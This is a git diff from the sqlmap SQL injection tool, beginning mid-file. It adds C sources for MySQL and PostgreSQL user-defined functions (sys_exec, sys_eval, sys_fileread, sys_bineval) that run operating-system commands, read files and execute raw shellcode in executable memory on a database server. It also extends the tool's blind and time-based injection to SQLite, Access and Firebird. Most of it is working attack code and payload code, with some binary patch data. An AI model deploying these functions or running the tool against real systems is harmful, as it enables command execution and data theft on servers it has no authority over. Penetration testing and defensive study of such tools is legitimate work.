defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, args->args[0], len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + return 1; + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + return 1; + + strncpy((char *)addr, args->args[0], len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + return 0; +} + +#if defined(_WIN64) +void __exec_payload(LPVOID); + +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __exec_payload(lpParameter); + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + } + + return 0; +} +#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + } + + return 0; +} +#endif + +#endif /* HAVE_DLOPEN */ \ No newline at end of file diff --git a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj old mode 100755 new mode 100644 similarity index 100% rename from extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj rename to extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj diff --git a/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys.sln b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sln old mode 100755 new mode 100644 similarity index 100% rename from extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys.sln rename to extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sln diff --git a/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c old mode 100755 new mode 100644 similarity index 83% rename from extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c rename to extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c index 9d2b31f67..09e9dccfd --- a/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c +++ b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c @@ -46,6 +46,33 @@ DWORD WINAPI exec_payload(LPVOID lpParameter); PG_MODULE_MAGIC; #endif +char *text_ptr_to_char_ptr(text *arg) +{ + char *retVal; + int arg_size = VARSIZE(arg) - VARHDRSZ; + retVal = (char *)malloc(arg_size + 1); + + memcpy(retVal, VARDATA(arg), arg_size); + retVal[arg_size] = '\0'; + + return retVal; +} + +text *chr_ptr_to_text_ptr(char *arg) +{ + text *retVal; + + retVal = (text *)malloc(VARHDRSZ + strlen(arg)); +#ifdef SET_VARSIZE + SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); +#else + VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; +#endif + memcpy(VARDATA(retVal), arg, strlen(arg)); + + return retVal; +} + PG_FUNCTION_INFO_V1(sys_exec); #ifdef PGDLLIMPORT extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { @@ -53,15 +80,10 @@ extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; int32 result = 0; char *command; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; + command = text_ptr_to_char_ptr(argv0); /* Only if you want to log @@ -83,18 +105,13 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); text *result_text; - int32 argv0_size; char *command; char *result; FILE *pipe; char line[1024]; int32 outlen, linelen; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; + command = text_ptr_to_char_ptr(argv0); /* Only if you want to log @@ -119,13 +136,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { result[outlen-1] = 0x00; } - result_text = (text *)malloc(VARHDRSZ + strlen(result)); -#ifdef SET_VARSIZE - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); -#else - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; -#endif - memcpy(VARDATA(result_text), result, strlen(result)); + result_text = chr_ptr_to_text_ptr(result); PG_RETURN_POINTER(result_text); } @@ -216,7 +227,6 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); text *result_text; - int32 argv0_size; int32 len; int32 i, j; char *filename; @@ -225,11 +235,7 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { char table[] = "0123456789ABCDEF"; FILE *file; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - filename = (char *)malloc(argv0_size + 1); - - memcpy(filename, VARDATA(argv0), argv0_size); - filename[argv0_size] = '\0'; + filename = text_ptr_to_char_ptr(argv0); file = fopen(filename, "rb"); if (!file) @@ -258,17 +264,11 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { } result[j] = '\0'; - result_text = (text *)malloc(VARHDRSZ + strlen(result)); -#ifdef SET_VARSIZE - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); -#else - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; -#endif - memcpy(VARDATA(result_text), result, strlen(result)); + result_text = chr_ptr_to_text_ptr(result); free(result); free(buffer); free(filename); PG_RETURN_POINTER(result_text); -} +} \ No newline at end of file diff --git a/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj b/extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj old mode 100755 new mode 100644 similarity index 100% rename from extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj rename to extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj diff --git a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys.sln b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys.sln old mode 100755 new mode 100644 similarity index 71% rename from extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys.sln rename to extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys.sln index 8aee18c260ddb073c03aeafd1eb22b455b831a24..1d26abd5cba3344c4346e7a9b20ac8527833baa9 GIT binary patch delta 172 zcmbQn{)clzHlwIZYEo%>O@x_=f~^9aJvp6GMT#>hH77N(I29_1#M|7#D8|T%P|eTe z$qY1MaxByC$y!VrlRq$V$OHL$j>#pNWvR|-=|Hn#+AGXVc)2(^Ctg&W{GN$Z5~R$j YG&3hf&j3}?8HE`q?_uVfT)~_(`5>d> +#include +#include +#endif + +#ifdef STANDARD +#include +#include +#include +#ifdef __WIN__ +typedef unsigned __int64 ulonglong; +typedef __int64 longlong; +#else +typedef unsigned long long ulonglong; +typedef long long longlong; +#endif /*__WIN__*/ +#else +#include +#include +#endif +#include +#include +#include +#include + +#include + +#ifdef HAVE_DLOPEN +#ifdef __cplusplus +extern "C" { +#endif + +#define LIBVERSION "lib_mysqludf_sys version 0.0.3" + +#ifdef __WIN__ +#define SETENV(name,value) SetEnvironmentVariable(name,value); +#else +#define SETENV(name,value) setenv(name,value,1); +#endif + +DLLEXP +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +); + +DLLEXP +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_get + * + * Gets the value of the specified environment variable. + */ +DLLEXP +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_get_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_set + * + * Sets the value of the environment variables. + * This function accepts a set of name/value pairs + * which are then set as environment variables. + * Use sys_get to retrieve the value of such a variable + */ +DLLEXP +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_set_deinit( + UDF_INIT *initid +); + +DLLEXP +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_exec + * + * executes the argument commandstring and returns its exit status. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_exec_deinit( + UDF_INIT *initid +); + +DLLEXP +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_eval + * + * executes the argument commandstring and returns its standard output. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_eval_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_bineval + * + * executes bynary opcodes. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +); + +DLLEXP +void sys_bineval_deinit( + UDF_INIT *initid +); + +DLLEXP +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + + +#ifdef __cplusplus +} +#endif + +/** + * lib_mysqludf_sys_info + */ +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + my_bool status; + if(args->arg_count!=0){ + strcpy( + message + , "No arguments allowed (udf: lib_mysqludf_sys_info)" + ); + status = 1; + } else { + status = 0; + } + return status; +} + +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +){ +} + +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + strcpy(result,LIBVERSION); + *length = strlen(LIBVERSION); + return result; +} + +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count==1 + && args->arg_type[0]==STRING_RESULT){ + initid->maybe_null = 1; + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_get_deinit( + UDF_INIT *initid +){ +} + +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + char* value = getenv(args->args[0]); + if(value == NULL){ + *is_null = 1; + } else { + *length = strlen(value); + } + return value; +} + +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count!=2){ + strcpy( + message + , "Expected exactly two arguments" + ); + return 1; + } + if(args->arg_type[0]!=STRING_RESULT){ + strcpy( + message + , "Expected string type for name parameter" + ); + return 1; + } + args->arg_type[1]=STRING_RESULT; + if((initid->ptr=malloc( + args->lengths[0] + + 1 + + args->lengths[1] + + 1 + ))==NULL){ + strcpy( + message + , "Could not allocate memory" + ); + return 1; + } + return 0; +} + +void sys_set_deinit( + UDF_INIT *initid +){ + if (initid->ptr!=NULL){ + free(initid->ptr); + } +} + +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + char *name = initid->ptr; + char *value = name + args->lengths[0] + 1; + memcpy( + name + , args->args[0] + , args->lengths[0] + ); + *(name + args->lengths[0]) = '\0'; + memcpy( + value + , args->args[1] + , args->lengths[1] + ); + *(value + args->lengths[1]) = '\0'; + return SETENV(name,value); +} + +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_exec_deinit( + UDF_INIT *initid +){ +} + +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + return system(args->args[0]); +} + +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_eval_deinit( + UDF_INIT *initid +){ +} + +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + FILE *pipe; + char line[1024]; + unsigned long outlen, linelen; + + result = malloc(1); + outlen = 0; + + pipe = popen(args->args[0], "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (!(*result) || result == NULL) { + *is_null = 1; + } else { + result[outlen-1] = 0x00; + *length = strlen(result); + } + + return result; +} + +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +){ + return 0; +} + +void sys_bineval_deinit( + UDF_INIT *initid +){ + +} + +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +){ + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + len = (size_t)strlen(args->args[0]); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, args->args[0], len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + return 1; + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + return 1; + + strncpy((char *)addr, args->args[0], len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + return 0; +} + +#if defined(_WIN64) +void __exec_payload(LPVOID); + +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __exec_payload(lpParameter); + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + } + + return 0; +} +#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + } + + return 0; +} +#endif + +#endif /* HAVE_DLOPEN */ \ No newline at end of file diff --git a/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj b/extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj new file mode 100644 index 0000000000000000000000000000000000000000..e74941405c7fa5db59a9f76cdb98e3dd0a39dbf1 GIT binary patch literal 7770 zcmeGh{cqYv^k*vde?Y9N8g&leACX~`v7tqSCWDl8QY3WP2V7$N+_OzdxBc&X_u+uk zxFONDt`ibQ_T9U8@7}%d*Zz6qx%o9_A)$V!P(Cgd^4PbjL;Pi@a6x>BehRg6rCurg z{L}Mi?I{UkJeUbCu=ic#%prctkIwOY;8x@EJanYEKft=y_qTh02P zeA$@Nh$9UHWM^PLM{J3sJ_D#vlwIG_R6c1m%2kd8&X#MRxhPst=7s!g`^i5P*}#x$ zg~R8HnJ}A1Z41#ZrjWMJDRukA#cB%+FHr18$*96JUX&ZBlMy^$RZ4`k+Pdk;l-;7bz_bS29I96N@3ze9SKTu z13$vd!wx|aPA$(`kQ$eABKepzSBN1S&`ogEDX2lg+??Q+pkJ|nYMwFNjfv~@*4P(p zlk~{jxNm_OhY|I}8qT<{gO7~K=<5(u^TTLpp$NUfJ_e>!_Au6|d4cB>%+|!lAmf{x zN39(Vtl>U;m_w6#0m#k{MY+=;A|ClHgrids`UkRXI1b@=jNE~5g9hGSA;BS+fwQ4; z-aj3WW)tg|nKc+6T@neWzj!tJZSw1IHtCJ0y>V(z@(q+22aMV{3@HQYCcfAS(7rXM zy_q#UJ?p(wpd*;{kUIvcgd6P?A{Jvc)kPt($FUF8V{?V=Yd|3M6sT9jLo#QG%WN`! zftU|gYlzp_-Hr;GANX9Y1sD3_rBjePs?_*C!5JYREwMAkA&r@hzhrK<%spid@NG!^ z>%HZg1E;Qfd#Q>uiC$)1s$#VgMtql1sr!%ybcE~`@xjKH<=Six7@WL)q!zeL7C78X zl|NYK2wmfS&~`(6U(o)>q`^KojUWKWK^A0}?b$3iqhXY7s@lbrMU>7YHS~quPW;Nl zRy%Py!eC!M!HVyTAVu)Osz1Ubq^){R>Q~QS6GnXxT-&Vy%NDSM!GDy&S8gJkp9h1# zE5H$B=-xjH0Dt_yuHDwd>8K1IAfH4HyD$)9{6pEd1CsC%+rwtStE62scY{C1f`;zz#!+~MG5_AfW3z05zATqG*Kmjl{XC%$RP>0fm-hm3=}naf+-lglnO zEsz@~wZA9(nq(oA_*CQKq;*@XQd+PrVI4A>hpORE$Y}1AwPcH88#M4tpk2K4z0(eX zS7-$6RK6yn_L>(UGG37&oq`<%x~<#r+iY|PFLdg-I)P^uTCijj&qgkL?~{)) z9ym~15fwb%VCtLAYO`O~%%)M-YSm^#GfIty22H1m)vQ;HO201}OgYgVf`$+$L$)Kp zuR=9>jn7cD>J*MIXEVIP_AEd*E=A5U?5md8sH+A3+Sldh%J=B1j} zYW2EWqf+m8d-Y1M+wbm*#sick{eb&uW42Cgs@pNs=U$*Y?owxV1)fNs6JKY`P+yXT zeiba?!QxM6INazU#|!?a2mVt3gw~mdX*4aPVRRc>zf~$}HM`W(THU6hwW{52xl%R^ ft5nW9jO4yl<2NpygPG>sZx^>8?czN>VF3CIPH;+k literal 0 HcmV?d00001 diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 52ea34f8e..7b591ed9e 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -29,11 +29,17 @@ from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import SQLITE_ALIASES +from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import FIREBIRD_ALIASES from plugins.dbms.mssqlserver import MSSQLServerMap from plugins.dbms.mysql import MySQLMap from plugins.dbms.oracle import OracleMap from plugins.dbms.postgresql import PostgreSQLMap +from plugins.dbms.sqlite import SQLiteMap +from plugins.dbms.access import AccessMap +from plugins.dbms.firebird import FirebirdMap def setHandler(): """ @@ -42,12 +48,15 @@ def setHandler(): """ count = 0 - dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" ) + dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird" ) dbmsMap = ( ( MYSQL_ALIASES, MySQLMap ), ( ORACLE_ALIASES, OracleMap ), ( PGSQL_ALIASES, PostgreSQLMap ), ( MSSQL_ALIASES, MSSQLServerMap ), + ( SQLITE_ALIASES, SQLiteMap ), + ( ACCESS_ALIASES, AccessMap ), + ( FIREBIRD_ALIASES, FirebirdMap ), ) for dbmsAliases, dbmsEntry in dbmsMap: diff --git a/lib/core/agent.py b/lib/core/agent.py index c6c54e48f..6a2ddbeea 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -182,6 +182,11 @@ class Agent: @rtype: C{str} """ + # SQLite version 2 does not support neither CAST() nor IFNULL(), + # introduced only in SQLite version 3 + if kb.dbms == "SQLite": + return field + if field.startswith("(CASE"): nulledCastedField = field else: @@ -252,12 +257,12 @@ class Agent: @return: query fields (columns) and more details @rtype: C{str} """ - + prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*" fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) - fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I) - fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I) - fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I) - fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I) + fieldsSelectDistinct = re.search("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) + fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) + fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I) + fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I) fieldsNoSelect = query if fieldsSelectTop: @@ -284,7 +289,7 @@ class Agent: if kb.dbms == "MySQL": concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2) - elif kb.dbms in ( "PostgreSQL", "Oracle" ): + elif kb.dbms in ( "PostgreSQL", "Oracle", "SQLite" ): concatenatedQuery = "%s||%s" % (query1, query2) elif kb.dbms == "Microsoft SQL Server": @@ -342,7 +347,7 @@ class Agent: elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop) - elif kb.dbms in ( "PostgreSQL", "Oracle" ): + elif kb.dbms in ( "PostgreSQL", "Oracle", "SQLite" ): if fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1) concatenatedQuery += "||'%s'" % temp.stop @@ -483,9 +488,13 @@ class Agent: untilFrom = limitedQuery[:fromIndex] fromFrom = limitedQuery[fromIndex+1:] - if kb.dbms in ( "MySQL", "PostgreSQL" ): + if kb.dbms in ( "MySQL", "PostgreSQL", "SQLite" ): limitStr = queries[kb.dbms].limit % (num, 1) limitedQuery += " %s" % limitStr + + elif kb.dbms == "Firebird": + limitStr = queries[kb.dbms].limit % (num+1, num+1) + limitedQuery += " %s" % limitStr elif kb.dbms == "Oracle": if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery: diff --git a/lib/core/common.py b/lib/core/common.py index 8e365f209..c1ec8270c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -127,7 +127,7 @@ def formatDBMSfp(versions=None): @rtype: C{str} """ - if not versions or versions == [None]: + if ( not versions or versions == [None] ) and kb.dbmsVersion[0] != "Unknown": versions = kb.dbmsVersion if isinstance(versions, str): @@ -734,14 +734,19 @@ def getDelayQuery(andCond=False): if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"): query = queries[kb.dbms].timedelay % conf.timeSec - if kb.dbms == "MySQL" and andCond: - query = query.replace("SELECT ", "") - else: query = queries[kb.dbms].timedelay2 % conf.timeSec + elif kb.dbms is "Firebird": + query = queries[kb.dbms].timedelay else: query = queries[kb.dbms].timedelay % conf.timeSec + if andCond: + if kb.dbms in ( "MySQL", "SQLite" ): + query = query.replace("SELECT ", "") + elif kb.dbms is "Firebird": + query = "(%s)>0" % query + return query def getLocalIP(): diff --git a/lib/core/settings.py b/lib/core/settings.py index 4dca668f8..996639caa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -52,18 +52,30 @@ PYVERSION = sys.version.split()[0] # Url to update Microsoft SQL Server XML versions file from MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" -# Database managemen system specific variables +# Database management system specific variables MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" ) MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql" PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" ) ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME +SQLITE_SYSTEM_DBS = ( "sqlite_master", "sqlite_temp_master" ) +ACCESS_SYSTEM_DBS = ( "MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\ + "MSysAccessXML", "MSysModules", "MSysModules2" ) +FIREBIRD_SYSTEM_DBS = ( "RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\ + "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\ + "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES",\ + "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\ + "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\ + "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS" ) MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ] MYSQL_ALIASES = [ "mysql", "my" ] PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ] ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] +SQLITE_ALIASES = [ "sqlite", "sqlite3" ] +ACCESS_ALIASES = [ "access", "jet", "microsoft access", "msaccess" ] +FIREBIRD_ALIASES = [ "firebird", "mozilla firebird", "interbase", "ibase", "fb" ] -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES SUPPORTED_OS = ( "linux", "windows" ) SQL_STATEMENTS = { diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 987b29ddc..1779e7d02 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -103,6 +103,8 @@ def bannerParser(banner): DBMS banner based upon the data in XML file """ + xmlfile = None + if kb.dbms == "Microsoft SQL Server": xmlfile = paths.MSSQL_XML elif kb.dbms == "MySQL": @@ -112,6 +114,9 @@ def bannerParser(banner): elif kb.dbms == "PostgreSQL": xmlfile = paths.PGSQL_XML + if not xmlfile: + return + checkFile(xmlfile) if kb.dbms == "Microsoft SQL Server": diff --git a/lib/request/inject.py b/lib/request/inject.py index 0e499582d..75284a4a6 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -133,6 +133,10 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r if kb.dbmsDetected: _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) + rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) + if rdbRegExp and kb.dbms == "Firebird": + expressionFieldsList = [expressionFields] + if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than a field. " infoMsg += "sqlmap will now unpack it into distinct queries " @@ -375,6 +379,9 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, conf.paramFalseCond = oldParamFalseCond conf.paramNegative = oldParamNegative + if value: + value = value.strip() + return value def goStacked(expression, silent=False): diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 8ef0080b2..b9bb997e3 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -121,9 +121,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None queriesCount[0] += 1 position = (len(asciiTbl) / 2) posValue = asciiTbl[position] + + if kb.dbms == "SQLite": + posValueOld = posValue + posValue = chr(posValue) + forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload) + if kb.dbms == "SQLite": + posValue = posValueOld + if result: minValue = 